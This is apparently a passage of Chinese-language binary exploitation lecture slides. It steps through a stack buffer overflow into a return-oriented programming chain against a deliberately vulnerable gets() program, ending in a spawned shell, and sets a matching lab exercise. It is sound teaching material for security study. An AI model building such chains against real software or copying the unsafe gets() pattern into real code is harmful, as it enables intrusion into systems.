  85. 93 0x51 From BOF to ROP --- • 之前我們只利用 buffer

    overflow 覆寫一個 return address ◦ return 到我們指定的 function ◦ 然後程式就結束了 • 這次我們改一下 input (payload) ◦ 除了 return 到我們指定的 function ◦ 執行完我們指定的 function 後, 讓他再 return 到另一個 low high return addr saved rbp ... user process stack buf AAAAAAAA AAAAAAAA ????????
  86. 94 0x51 From BOF to ROP --- • 之前我們只利用 buffer

    overflow 覆寫一個 return address ◦ return 到我們指定的 function ◦ 然後程式就結束了 • 這次我們改一下 input (payload) ◦ 除了 return 到我們指定的 function ◦ 執行完我們指定的 function 後, 讓他再 return 到另一個 low high return addr saved rbp ... user process stack buf AAAAAAAA AAAAAAAA ???????? ???????? ????????
  87. 95 0x52 ROP --- • Return-Oriented Programming (ROP) ◦ “code

    reuse attack” ◦ reuse existing code snippets to chain function calls ◦ list available ROP gadgets within a binary “ROP gadget”
  88. 96 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA ???????? 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP rsp
  89. 97 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA ???????? 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP rsp
  90. 98 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA ???????? 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP rsp
  91. 99 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA 0x4011f3 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP 0x4011f3 pop rdi 0x4011f4 ret rsp rdi 0x402004 0x401040 return addr
  92. 100 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA 0x4011f3 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP 0x4011f3 pop rdi 0x4011f4 ret rsp rdi return addr 0x402004 0x401040
  93. 101 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA 0x4011f3 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP 0x4011f3 pop rdi 0x4011f4 ret rsp rdi return addr 0x402004 0x401040
  94. 102 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA 0x4011f3 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP 0x4011f3 pop rdi 0x4011f4 ret rsp rdi return addr 0x402004 0x401040 0x401040 <system@plt>: jmp QWORD PTR [rip+0x2fda]
  95. 103 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA 0x4011f3 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP 0x4011f3 pop rdi 0x4011f4 ret rsp rdi return addr 0x402004 0x401040 0x401040 <system@plt>: jmp QWORD PTR [rip+0x2fda]
  96. 104 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA 0x4011f3 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP 0x4011f3 pop rdi 0x4011f4 ret rsp rdi return addr 0x402004 0x401040 0x401040 <system@plt>: jmp QWORD PTR [rip+0x2fda] 0x402004 是 “/bin/sh” 字串的 address
  97. 105 0x52 ROP --- low high return addr saved rbp

    user process stack buf AAAAAAAA AAAAAAAA 0x4011f3 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 const char *binsh = "/bin/sh"; 5 6 void run(void) { 7 system(NULL); 8 } 9 10 int main() { 11 char buf[8]; 12 puts("rop me:"); 13 gets(buf); 14 } • Call system(“/bin/sh”) using ROP 0x4011f3 pop rdi 0x4011f4 ret rsp rdi return addr 0x402004 0x401040 0x401040 <system@plt>: jmp QWORD PTR [rip+0x2fda] PWNED system(“/bin/sh”); 0x402004 是 “/bin/sh” 字串的 address
  98. 106 Lab4 ROP • 找出可以設定 rdi 的 Gadget 的 address

    • return 到那個 gadget, 設定 rdi • rdi 要設成什麼呢? ELF 裏面有 “/bin/sh” 字串 • gadget 執行完, return 到 system()
  99. 107 0x53 Going Further --- • x86_64 stack alignment •

    stack pivoting (stack migration) ◦ pop rsp ◦ rbp-leave • .fini_array hijacking [pwnable.tw 3x17] • ret2csu (μrop) [slides] • return-to-dl-resolve • sigreturn oriented programming (srop) [slides] • file stream oriented programming (fsop) --- • heap exploitation • kernel exploitation